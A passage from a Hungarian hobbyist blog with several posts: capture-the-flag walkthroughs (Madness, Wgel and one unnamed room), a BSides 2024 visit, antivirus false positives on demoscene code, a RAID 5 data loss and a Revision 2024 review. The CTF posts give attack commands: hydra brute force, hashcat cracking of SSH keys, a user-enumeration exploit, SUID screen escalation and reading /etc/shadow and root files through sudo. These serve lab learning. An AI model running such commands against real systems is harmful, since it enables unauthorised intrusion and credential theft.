
Meg kell keresni a rejtett webes könyvtárat:

gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://$IP/

De igazából olyan egyszerű, hogy három próbálgatással bárki megtalálná. A fenti parancs 10 másodpercen belül köpte a választ.

A következő feladat az admin felület törése volt. A forrásban van némi támpont, hogy ne kelljen a felhasználó nevet is próbálgatni.

hydra -l ****** -P /usr/share/wordlists/rockyou.txt 10.10.8.197 http-post-form "/*****/index.php:user=^USER^&pass=^PASS^:Invalid"

A felhasználó nevet és a könyvtárat kicsillagoztam, hogy azért más is dolgozzon :-)

Letötlhetjük az ssh kulcsot, de a passphrase-t nem kapjuk meg. A weboldalon van egy flag is. Szerezzük meg a passphrase-t:

ssh2john file >hash.txt

A hash.txt-t szerkeszteni kell, mert a fájl neve ott ficereg az elején, és ezt a hashcat nem szereti. Ugyanis én azzal törtem, mert jobban szeretem, mint John-t.

hashcat -a 0 -w 3 hash.txt /usr/share/wordlists/rockyou.txt

Pár pillanat alatt megvan a passphrase. Most már beléphetünk ssh-val. Belépés után a user flaget olvashatjuk. Jöhet a root. A sudo -l megmutatja, milyen programhoz van hozzáférésünk. Azzal a programmal meg tudjuk nézni az /etc/shadow állományt. Ha elmentjük a root hash-t, akkor a fenti hashcat paranccsal azt is törhetjük (feltéve, hogy az is a hash.txt-ben van). A root flaghez is használhatjuk azt a parancsot, amivel az /etc/shadow-t kiírattuk, mert általában a root.txt fájlba helyezik a flag-et.

sudo ***** /root/root.txt

Nagyon jó kis ebéd utáni feladatsor volt.

Szólj hozzá!

Címkék: biztonság

BSides 2024

2024.05.27. 18:06 Travis.CG

Gondoltam egyet és elmentem az idei BSides-ra. Párhuzamosan több konferencia is zajlott a helyszínen, ezért először nem találtam meg a megfelelő termet, de kiszúrtam néhány hosszú hajú, Linux pólós, hátizsákos embert, és rögtön tudtam, hogy őket kell követni, pedig még nem is láttam az agyonmatricázott laptopokat.

Megnéztem az első két előadást, majd ahogy a demópartiknál is megszoktam: "the real party is outside", szóval kimentem az előtérbe, hogy ott is körülnézzek. Összesen három kiállító volt: valami cég, akik terméket akartak rásózni emberekre, a hölgyek a WITSEC-től és a BRFK. Ők egy CTF-el is készültek, amit ki is próbáltam.

Az első néhány feladat teljesen szokásos volt: base64-el kódolt email cím, EXIF-be rejtett információ. Utána jöttek a komolyabbak. Bankszámla szám alapján kellett kitalálni, mi a bank irányító száma. A megfogalmazás nem volt tökéletes, mert én úgy értettem, a központi fiók címe kell, de kiderült, hogy azé a fióké, ahonnan az átutalás indult.

WhatsApp adatbázisból kellett kimenteni a titkos információt. Ez egy sima sqlite állomány volt, de annyi táblázat volt benne, hogy nem találtam a lényeget. Végül meguntam, és közvetlenül a binárisból kerestem ki a flag-et. (Nem volt nehéz, mert minden flag BRFK-val kezdődött.) Kellett egy PDF jelszót is törni, ez is gyorsan megvolt. Volt egy lementett hálózati forgalom, amit Wireshark-al kellett elemezni. Kicsit tartottam a feladattól, de elég volt a HTTP stream-et lementeni, és a válasz ott volt. Videóba is rejtettek el információt. Először végignéztem az egészet, de semmi hasznosat nem láttam, aztán egy hirtelen ötlettől vezérelve a strings-el kiírattam a sztringeket, és ott virított egy újabb BRFK flag.

Kettő feladattal viszont nem boldogultam. Az egyik egy kriptovaluta átutalás nyomon követése volt. Itt azzal akadtam el, hogy a MetaMask-ot nem tudtam beállítani. Bár lehet, hogy az volt a baj, hogy egy korábbi feladat megoldó valamit ügyködött. El kellett volna olvasni a tutorialokat.

A másik sikertelen feladat egy titkosított szöveg visszafejtése volt. Itt is egy csomó időt elvesztegettem, de nem tudtam rájönni a megoldásra. Valószínűleg több szakaszból állt a szöveg és mindegyiket másik módszerrel rejtjelezték.

Miközben oldottam a feladatokat, el-elkalandoztam, mert mellettem néhányan azt mutogatták a rendőröknek, hogyan tudják kinyitni a bilincset. Egy fél órával később valaki más is kereste a bilincset. Nem találta, ezért azzal vígasztalták: valakinek biztos jó estéje lesz.

A feladatok után szóba elegyedtem néhány benfentessel, akik miután megtudták, hogy genetikával foglalkozom, csak arról voltak hajlandóak beszélni. Többször tettem kísérletet, hogy a beszélgetést más mederbe tereljem, de nem sikerült, mindig visszakanyarodtunk a génekhez.

Az elmúlt kb. hat évben - ha apámat nem számoljuk - összesen nem kaptam ennyi kérdést a munkámról, mint itt. Ráadásul tájékozottságban simán lenyomták a hallgatóimat. Egyikük még az AlphaFold-ot is kipróbálta és nagyon tetszett neki a kapott térbeli szerkezet.

Eddig azt gondoltam, menthetetlen kütyü-mániám van, de a rendezvényre még egy laptopot sem vittem. Mások nem fogták ennyire vissza magukat. Megláttam egy Flipper Zero-t az egyik résztvevőnél, és megkérdeztem tőle, milyen firmware-t használ. Nem sejtettem, mit indítok el ezzel. Rövid időn belül előkerült az összes Flipper kiegészítő a táskájából. Akkor már mások is odajöttek, de a fickó csak pakolta ki az újabb és újabb kütyüket. Sőt, elővett két routert is és rögtönzött bemutatót tartott a wifi deautentikációról. Aztán elővett valami mikrokontrollert, amiről azt sem tudtam, micsoda, de mások elismerően bólogattak, mikor meglátták. Volt nála még egy vezeték nélküli forrasztó páka is(ha rosszindulatú lennék, azt mondanám, olyan tiszta volt a hegye, mintha soha nem használták volna). Majd mutatott valami elektromos puskába való lőszert, vagy mit. Szerencsére a zsaruk nem voltak a közelben. Kb. eddig bírtam, de a hátizsák tartalmának még a felét sem láttam. Csak egy könyvet. Kevin Mitnick-ről...

Megnéztem még néhány előadást, de mivel nem vagyok szakmabeli, nagyon nem kötöttek le. Összességében jó kis rendezvény volt.

Szólj hozzá!

Címkék: biztonság

Öntudatlan malware fejlesztők klubbja

2024.05.19. 18:29 Travis.CG

Már az idei Revision intróinak megtekintése közben észrevettem, hogy a szokottnál is agresszívebb a Windows Defender. A 64k intrókat kérdés nélkül törölte, de még a korábban vígan futtatott Mecha is áldozatul esett annak, hogy megvédjenek a kiberborzalmaktól. Régen még kérdeztek a vírusírtók, hogy mi legyen a kérdéses állománnyal, de a valós idejű védelemnél szó nélkül törölt.

Gondoltam, a demók megnézése idejére kikapcsolom az aktív vírusvédelmet, de a Defendert nem olyan fából faragták, hogy csak úgy hagyja magát kikapcsolni. Rögtön megjegyezte, hogy vissza fogja kapcsolni magát. Lassan már úgy érzem, nem is a gép van énértem, hanem én a gépért.

A dolgok akkor vettem furcsa fordulatot, amikor az egyik 2016-os kódomra is trójait riasztott a Defender. Hmm, nem emlékszem, hogy bármi rendkívülit kódoltam volna. Gyakorlatilag képek sorozatát jelenítette meg egy OpenGL ablakban. Az egyetlen diszk művelet a képek és a shaderek betöltése volt, írni nem írt sehova. Mégis miért hiszi a Defender, hogy trójai?

Az egyik lehetőség, hogy valami tényleg megfertőzte a rendszert és átírja a binárisokat. A másik lehetőség, hogy a Defender egy hülye. Egy Defendor.

Szerencsére a kérdés eldöntése nem volt olyan nehéz, mert a kérdéses demóm egy Linuxos partíción is megtalálható, ahol biztos nem módosította senki rajtam kívül. Az egyetlen probléma, hogy a Linuxon található verzió kicsit korábbi, tehát az MD5 értékek eltértek. Algoritmikusan viszont ugyan az.

Mindkét verziót feltöltöttem a VirusTotal-ra. Három, nevenincs vírusirtónak csúfolt valami rögtön kiabálni is kezdett, hogy a kódom trójai. Viszont a statikus elemzés adott néhány igen érdekes eredményt. A kis semmike demóm neten keresztül kapcsolódik a Microsoft NTP szerveréhez, registry bejegyzéseket ellenőriz és Windows komponenseket szkennel. Ezen tulajdonságokat hallva tényleg egy kártékony kód jut az eszünkbe.

Hogyan kerültek ezek a funkciók bele? Hát úgy, hogy a Visual Studio 2015-ös verzióját használtam a fordításhoz. Ott találta ki a Microsoft, hogy milyen remek ötlet ilyen kódokat elhelyezni a lefordított programba, amire nyolc évvel később a saját vírusirtójuk is ugrik.

 Végül a demókat tartalmazó könyvtárat kivételnek állítottam be a Defendornak. Bár nem tudnak róla, de a demoscenerek malware-eket fejlesztenek.

Szólj hozzá!

Címkék: demoscene

Ami elromolhat...

2024.05.12. 11:07 Travis.CG

A rendszer, amiről most szó lesz, egy tárhely, ahol a diszkek RAID 5 tömbben vannak fűzve. Tárolókapacitása 62Tb, aminek nagy részét betelítették a bioinformatikai adatok. Egyik nap tönkrement egy diszk.

A rendszer ezt még vígan tolerálta, de erős figyelmeztetés volt, hogy ideje felkészülni a bajra. Elkezdődött a cserediszkek beszerzése (a közbeszerzésnek nevezett reality show keretében), én meg elkezdtem gondolkodni, hogyan lehetne biztonságba helyezni a meglévő adatokat. Mert ugye biztonsági mentés nincs, annyira kell a tárhely. Szeretünk veszélyesen élni. (Egy időben volt backup, csak a helyigény növekedése felülírta a biztonsági igényeket.)

Annyit kértem a felhasználóktól, hogy a szükségtelen fájlokat kezdjék el törölni, mert van egy másik tárhely (ami szintén használatba van, de az új diszk megérkezéséig talán betelíthetjük), de ott nem fér el ennyi cucc, még tömörítve sem.

Természetesen még csak nem is válaszoltak az emailemre. Akkor elkezdtem én átnézni azokat a könyvtárakat, ahol valami érdekeltségem volt. Találtam egy csomó BAM fájlt, miközben megvolt a FASTQ és a VCF is. Találtam több, mint 2 éves projekteket, melyekből megjelent a publikáció. Kérdeztem, törölhetem-e őket. Azt mondták, törölhetem.

Gondoltam teszek még egy kört, és azokat a projekteket is átnézem, amire nincs rálátásom. Ismét sikerült pár terabyte szükségtelen adatot összeszedni. Ezeket is megkérdeztem, hogy törölhetem-e. Megint nem válaszoltak semmit az emailemre.

Pár nappal később viszont ők kerestek. Nem tudnak belépni a szerverre. Ezen csodálkoztam, mert épp valamit bütyköltem rajta. Rövid keresgélés után kiderült, hogy a RAID 5 tömb nem elérhető. Hoppá! Ez nem jó.

Beléptem a tárhely webes felületére, ahol az az üzenet fogadott, hogy a második diszk is elhalálozott. A nagyon fontos 62Tb-t kitevő adatok eltűntek. Eddig nem pánikolt senki, de ezután, mindenki, mint pók a forró rezsón, úgy rohangált. Röpködtek az emailek, majd rövid idő elteltével mindenki számítógépes szakértővé vált. Jöttek az ötletek, hogyan kell visszaállítani a törölt állományokat. Nem is értettem, miért én csinálom a rendszer felügyeletet, ha ennyi informatikai nagyágyúval vagyok körülvéve.

Aztán tartottunk egy hatalmas Zoom meetinget, amire a PhD hallgatóktól kezdve a csoportvezetőig mindenki ott volt. Kicsit aggódtam is, hogy kikiáltanak bűnbaknak, de szerencsére nyugodt körülmények között zajlott a megbeszélés. Elmondtam nekik, hogy az adatok nem egy darab vinyón vannak, mint a Windows-os PC-jükben, hanem 12-n. A hibatűrés pedig 1 diszk kiesését éli túl, most viszont 2 diszk döglött meg. Ezt el tudták fogadni, de azért megkértek, hogy a supporttól kérdezzem meg, vissza lehet-e állítani az adatokat.

Gondoltam, ez nem fog fájni, ezért megtettem. Azt a választ kaptam, hogy nagyon drágán lehet valamit csinálni, de a siker nem garantált. A beszerzést persze leállítottuk, mert már okafogyottá vált.

Úgyhogy megindult az újratelepítés. Még szerencse, hogy a vezettem egy naplót, milyen rendszergazdai tevékenységeket végeztem a szerveren. Ez most nagyon hasznos volt, mikor emlékezni kellett, milyen programot, hova telepítettem (különösen, amikor a nekem kellett rájönni valamire, mert a program dokumentációja hiányos volt). Sajnos a legújabb feladatokat nem írtam olyan alaposan, mint a négy évvel ezelőttieket, de még így is nagyon sok időt spóroltam magamnak.

Mert minden program kell. Azonnal. Mert dolgozni akarnak ezerrel.

Tanúság: mindig legyen backup, és dokumentálni a szerver beállításokat. És ahogy az amcsi Nikitának tanították:

Szólj hozzá!

Címkék: rendszergazda

Madness CTF

2024.05.05. 22:25 Travis.CG

Akkor közkívánatra jöjjön egy újabb CTF. Ez nem volt kimondottan nehéz, de nagyon megbonyolították.

Először csak egy felületes port scannert futtattam, hogy gyorsan lássam a lényeget. Két port volt csak nyitva, egy ssh és egy web, mindkettő a megszokott helyen.

A web esetén nem voltak könnyen megtalálható könyvtárak, a weboldal is csak az alapértelmezett Apache oldal volt. Vagy mégsem? A bal felső sarokban nem töltődött be a kép! Az URL érvényes volt, könnyedén le is lehetett tölteni, de egyetlen program sem volt képes megnyitni.

A file parancs szerint csak bináris adat volt. Megnéztem hex editorral is. Az első byte-ok szerint PNG kép, de a PicoCTF-ek között rengeteg PNG alapú feladatot oldottam meg, és egyértelmű volt, hogy a fájl további része nem PNG. Ott ugyanis van IHDR, IDAT is, itt meg nem volt.

Itt megakadtam, mert nem ismertem fel a fájlt. Egyetlen furcsa string volt csak benne: *56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Jobb híján beírtam a kacsába, mire megmondta, hogy JPG formátum. Ahá! Nos, a JPG-et annyira nem ismerem, ezért a Wikipédia segítségével próbáltam beírni a szükséges bájtokat, hogy érvényes legyen a fejléc. Valamit viszont mindig elrontottam, mert soha nem akart megjelenni a kép.

Végül vettem egy másik JPG fájlt, és átmásoltam az első 15 byte-ot. A kép olvashatóvá vált, egy titkos könyvtár neve volt benne. A könyvtárat megnyitva csak egy minimális HTML volt, ahol arra kértek, hogy találjuk ki a számot, ami 0 és 99 közötti. De nem volt input mező. Akkor hova írjam be a számot?

Akkor biztos GET-es paraméterekkel lehet. A változó bizonyára a secret lesz, mert a kérdés is arra vonatkozott. Tettem pár próbát, és tényleg az volt. Ha próbálgatni kell weboldalakat, akkor a Burp Suit szokott lenni a bevett eszköz, de nekem nem volt kedvem elindítani, inkább egy egysoros shell szkriptet rittyentettem:

for i in `seq 0 99`; do wget -O $i.html 'http://'$IP'/xxxxxx/?secret='$i ; done

Ahol az xxxxx a titkos könyvtár neve. Volt száz html fájlom. A méretük alapján az egyik nagyobb volt, mint a többi, bizonyára, mert abban plusz információ van. A tippem helyes volt. Volt benne egy jelszó. De mihez? Biztos nem az ssh-hoz, mert nem volt felhasználói nevem.

Visszamentem a képhez, és megnéztem, hogy rejtettek-e el valamit benne. A steghide kérte a passphrase-t, beadtam neki a jelszót. Bingó! Egy kis szövegfájlt kaptam. Ebben volt a felhasználó név. Furcsa volt, hogy a felhasználó név nem értelmes szó, de végül is ez a Madness, nem?

Megpróbáltam ssh-zni, de nem ment. Mi lehet rossz, a felhasználó név, vagy a jelszó? A hint azt mondta, hogy a felhasználó neve ROT13-al kódolt. A KiberSzakács segítségével már értelmes lett a felhasználó név, de ssh-zni továbbra sem tudtam. Úgy tűnik van még egy jelszó valahol.

Ehhez viszont nem találtam semmi nyomot a szerveren. Mindent átnéztem tüzetesen, de sehol nem volt. Kénytelen voltam segítséget kérni. Kiderült, hogy tényleg nem a szerveren volt az infó, hanem a THM weboldalán, a feladat kiírása mellett volt egy kép. Na, abban a képben rejtették el az információt. Csakhogy ahhoz is kellett passphrase! És természetesen a korábban megtalált jelszó nem működött.

Ekkor ráeresztettem a stegseek-et, ami végigpróbálgat egy csomó lehetőséget. Az ki tudta csomagolni. Abban volt az ssh jelszó. Utána már könnyedén be tudtam lépni a gépre, és az első flag-et meg is találtam a felhasználó könyvtárában. Már csak a rootolás volt vissza.

Sudo nem volt, crontab üres. Gondoltam keresek valami suid programot.

find / -perm -u=s

A /bin könyvtárban volt egy screen és egy screen.old program. Hmm, a screen normális esetben a /usr/bin-ben lenne. A screen és a screen.old ráadásul ugyan az volt. Biztos ezt kell használni, elég egyértelműen jelezték. Kicsit gyanús is volt, hogy ilyen könnyen rátaláltam.

Próbálgattam, de nem jutottam semmire. Végül megnéztem, van-e ismert exploit rá:

searchsploit screen

Micsoda véletlen, pont ehhez a verzióhoz van egy eszkalációs leírás! A leírás szerint ha log-ot mentünk a screen-ből, akkor az egy root jogosultságú szöveges fájlt kapunk eredményül. Az exploit annyit csinál, hogy felépít egy szkriptet a log-ból, ami root tulajdonságú lesz, majd elindítja. Lefuttattam, és kaptam egy root shell-t. Ezzel megvolt az utolsó flag is.

Szólj hozzá!

Címkék: biztonság

Wgel CTF

2024.04.28. 18:01 Travis.CG

Ez egy nagyon tanúságos CTF volt. Megmutatta, hogy hiába a felkészültség, hiába az eszközök ismerete, nagyon könnyű elsikkadni a megoldás felett.

A virtuális gép indítása után ellenőriztem a nyitott portokat nmap-el. Kettő volt nyitva, a 22-es és a 80-as. A weboldal csak az alap Apache oldal volt. Már több CTF-ben is használt trükk, hogy ennek az oldalnak a forrásában rejtenek el információt, ezért azonnal megnéztem, itt mit találok. Egy apró információ morzsa volt csak egy kommentben: Jessie frissítse a weboldalt. Hmm, akár még felhasználó név is lehet.

Utána gobuster-el estem a weboldalnak. Ez a könyvtárakat listázza ki. Kell neki egy szólista, amit végigpróbálgat. Két könyvtár jött fel: sitemap és icons.

Itt már egy statikus weboldalt találni. A leírás szerint Colorlib templátot használtam. Gyors keresés a neten, és láttam, hogy ez egy WordPress stílus. Akkor futtassuk a wp-scan-t. A wp-scan szerint ez az oldal nem WordPress. Kínomban wget-el letöltöttem az egészet:

wget -r -np http://$IP/sitemap/

Semmi használható információt nem találtam, viszont úgy tűnt, statikus az oldal, nem PHP alapú. Vagyis weben keresztül nem lehet bejutni. Lefuttattam a gobuster-t még egyszer, a lehető legnagyobb szólistával, ami miatt több, mint egy órán keresztül vizsgálta a könyvtárakat, de nem talált semmi továbbit.

Átnéztem a képeket, hátha ott rejtettek el valamit. A stegseek-el végignyálaztam valamennyit, de nem volt eredménye.

for i in *.jpg; do stegseek $i; done

Arra gondoltam, hátha a felhasználó névvel kell bruteforce-olni az ssh-t. Először egy ssh sebezhetőséget próbáltam ki, hogy a felhasználó tényleg létezik-e.

searchsploit openssh
searchsploit -m linux/remote/40136.py
python3 40136.py -u Jessie $IP

Természetesen nem működött, mert elavult könyvtárral fejlesztették. Átírtam a forráskódot, hogy time() helyett perf_counter() metódust használjon. Ekkor lefutott.

A program először random felhasználóneveket próbálgat, majd a tesztelendő nevet. A hibaüzenetek válaszidejéből következtet a felhasználó létére. Kisbetűvel nem talál semmit, nagy kezdőbetűvel találatot adott. A kiírt válaszidő alapján én nem gondoltam, hogy annyira szignifikáns lett volna a különbség, de elhittem a programnak.

Ráeresztettem a hydrát a rendszerre. Órákon keresztül futott. Ökölszabály, hogy a CTF-eknél 15 perc után már nem érdemes folytatni a nyers erejű támadásokat, mert a feladat készítői nem kínozni akarják a versenyzőket, de mivel semmi nem volt a kezemben, hagytam, hogy fussanak. Mondanom sem kell, hogy nem lett eredménye.

Teljesen kifogytam az ötletekből, úgyhogy megnéztem egy leírást. Ott a dirb-t használták a common.txt szófájllal. Bár nem hittem benne, hogy sokkal több szó lenne benne, mint a big-ben, amit én használtam, azért lefuttattam. Kb. 10 másodperc után megvolt a /.ssh könyvtár.

dirb http://$IP/ /usr/share/wordlists/dirb/common.txt

A felhasználónév megvolt korábbról, és azt is tudtam, hogy nagy betűvel kell írni. Azzal mégsem tudtam belépni. Beírtam kisbetűvel, azzal simán beengedett. Ennyit a szuper sérülékenységről.

A felhasználó egyetlen programot tudott sudo-zni, a wget-et. A GTFOBins szerint lehet shell-t indítani wget-el. Ez sem ment, mert nincs --use-askpass opció! Végül maradt a fájl olvasás, de nem tudtam a fájlnevet. Abban biztos voltam, hogy benne van a flag szó és txt-re végződik. Elkezdtem próbálgattam és a harmadik kísérlettel megvolt a root flag is.

wget -i /root/flag.txt

A fenébe, ez nehéz volt!

1 komment

Címkék: biztonság

Cseppet sem objektíven: Revision 2024

2024.04.24. 16:51 Travis.CG

Bár nem voltam az idej Revision-ön, azért végignéztem a prodokat. Több, mint 200 alkotás volt, nekem is időbe került, mire átrágtam magam rajtuk.

Modern grafika

Az idei Revision grafikái közül a 3D renderek tetszettek a legjobban. Személyes kedvencem a Historian és a Cult of the cyosleepers volt. A többit olyan gyors munkának éreztem. Még Made képe is olyan átlagosra sikeredett.

Animált GIF

A legtöbb GIF olyan volt, mintha valami internetes mém akarna lenni. Hiányoltam az igazán kreatív megoldásokat. Unreal és Siz release biztos érdekes lett volna, ha sikerül befejezniük. A hirtelen eltűnő figura sokat rontott rajta.

Paintover

Ha már gyors munka. A Paintover képeknél mindenkinek ugyan annyi ideje van. Itt jobban megerőltették magukat a grafikusok. Unreal bikás képe hozta a szokásos magas minőséget. Már másodszor látok macskákra támadó kacsát. Ja, csak cpdt indult ebben a kompóban is.

Fotó

A fotók hozták a nagy partik átlagos színvonalát. Nekem legjobban a Röiven tetszett. Nem tudom, hogy sikerült ilyen élesre a madár.

Animációk

Buborékember. Ez jutott eszembe a frozenwilds vidóról. LFT mostanában zenész lett, és egyre hülyébb hangszereket szerkeszt C64-ek felhasználásával. Továbbra sem fogyott ki az ötletekből, most éppen önmagával játszott négykezes zongoraművet. Nem sokat értettem a Mitraaga című szerzeményből, de még így is egy csomót röhögtem rajta. Ennyi hülyeséget ilyen primitív módon ritkán láttam. Erre nem nagyon van szó. Az Orion egész jó volt, kicsit a szünetek hosszúak voltak az egyes jelenetek között. A fraktál-éhségemet a Mainframe csillapította.

Wild

A Bad Apple-t nézni négy régi telefon számolós kijelzőjén teljesen szürreális élmény. Egy demoscenernek a Bad Apple olyan, mint az ABC egy betűje, bárhol felismeri. Megpróbáltam elképzelni, mit láthat ebből egy kívülálló, és azt gondolom, semmit. Ehhez olyan mértékű módosult tudat kell, hogy azt nem tudom szavakba önteni. Azt gondolom, erre nem mondhatjuk, hogy beteg. A beteg produkciók még érthetőek. Ez egy új kategória. Komolyan, ha már úgyis videón vágták össze a telefonok kijelzőjét, miért nem lehetett növelni a felbontást? Mintha a felismerés minimális szintjére akartak volna szorítkozni. Ha már elvont dolgoknál tartunk. Valahogy készítettek egy fájlt, ami egyszerre DOS, C64, GameBoy futtatható állomány, PDF és zip is egyben. A README elolvasása után azért kiderült, hogy csak emulátorban fut, de azért így is igazi kódpornó. A scroll már az a nyúl üregén innen van. Scrollbarokból készítettek demót.

PC Demo

Van egy sablon válasz a demósok között. Ha valaki elkezd panaszkodni, rendszeresen azt választják neki, hogy "menj, és készíts egy demót róla". Nos, az Apotheke készítője pontosan ezt tette. Megcsípte egy lódarázs, majd nem talált gyógyszertárat. A darázs modell nagyon szép lett.

Az ASD demókat nehéz megértenem. Ezt a mostanit még nehezebb megérteni. Mintha egy Bosch festmény elevenedett volna meg előttem. Lábon járó halak, fülbe mászó halak, csontvázak, valamint korábbi ASD demók elemei. Mintha összefoglalta volna eddigi munkásságát.

A Tannhauser Gate egy megosztó demó. Egyrészt egy része AI generált, másrészt nagyon jó a zenéje (amit Chaser komponált). Részletes modellek vannak benne, de Unity. Van benne egy nagyon jó ember modell, ami úgy viselkedik, mint egy autista. A hangulata kiváló, de feltűnőek a hibái.

PC 64k

A Conspiracy, ahogy várható volt, letarolta a kompót. Nagyon szép folyadék szimulációt láthattunk.

PC 4k

Az intrókkal nagyon meggyűlt a bajom. A Windows Defender kérdés nélkül törölte a kicsomagolt intrókat, a Firefox meg alig akarta letölteni őket. A fene egye meg, már választási lehetőséget sem adnak a felhasználónak. Kikapcsoltam a Defendert, erre azt írta, hogy ne sokáig örüljek, mert ő bizony vissza fog kapcsolódni. Már azt sem engedik, hogy láncfűrésszel zsonglőrködjek.

Legjobban a Return to the nature tetszett Silviatól. Talán kódban nem volt olyan erős, de a történet kerek volt, a rendelkezésekre álló eszközökkel maximálisan támogatott. Reménykedtem benne, hogy LJ/Vigrill páros megint bedobja magát, mint tavaly, de idén visszafogták magukat. Azért a második helyet így is könnyedén hozták.

Oldskool demó

Most annyira nem tetszettek a régi hardveres demók. A Ghost NOP tényleg kiemelkedett a mezőnyből, de korábbi évekhez képest szerintem nem volt annyira jó. A Push nem értem, miért a demók között indult, hiszen csak 64k. Egyébként ötletes hamis folyadék szimuláción alapult. A Lethargy lendülete, mintha megtört volna. Az utóbbi időben olyan okés produkciókat mutattak. A mostani ráadásul nem is C64-en, hanem NES-en villantottak.

Amiga demó

Most az Amiga demók sem voltak olyan jók. A győztes Deep Meet-et inkább a zene és a grafika vitte el a hátán, mint az effektek.

Amiga intró

Ezek már jobban bejöttek. A Twitch Elite például tele volt élettel, pörgött, és az effektek is egészet alkottak az intróval. A Spaceball intró is bejött, de még 7. helyezett rasterbar őrület is.

256byte intró

Csak egyet mondok: Remnants. Eget rengető kód. HellMood Amigás intrója is óriási volt. Mikor az ember azt hitte, már mindent látott, a labda elkezdett pattogni. Azért Rrola-nak sem kell szégyenkeznie, három csatornás zenét nyomatott intrója alatt. Nem hiszem, hogy hallottam volna ehhez foghatót. De még a hatodik helyezettnek sincs oka szégyenkezni, mert 1024x768-ban a barokk spirál is szép volt, hogy közben Bach szólt, az igazi ráadás.

Játékok

Bár a játékok nagy része nem volt túl érdekes, azért akadt néhány érdekesség. Először is a TimTris, ami egy Tetris klón. Itt inkább a platform, ami a különlegességet adja. Egy volt Jugó gép, amire elveszett az összes progi. Még sohasem hallottam róla. Ugyan ez elmondható az Agony-ról, aminél még azt sem tudtam kitalálni, miféle játékról van szó. Ez egy KC-85-ös játék. Ott volt még a You Gnatt Be Serious, amit csak azért emelek ki, mert ez egy olyan játék, ami nem játék. Úgy értem, a játék lényege, hogy táblázatot töltsünk ki. A végén még valaki kitalál egy olyan játékot, ahol SAP-t, vagy Neptun-t kell kitölteni. De ha valami komolyat kell említeni (már amennyire egy játék komoly), akkor a Glubble-t kell említeni. Egy logikai játék, ami nagyon hasonlít a KAtomic-ra. Szép a grafikája, jó az irányítás és Amigás.

Szólj hozzá!

Címkék: demoscene

süti beállítások módosítása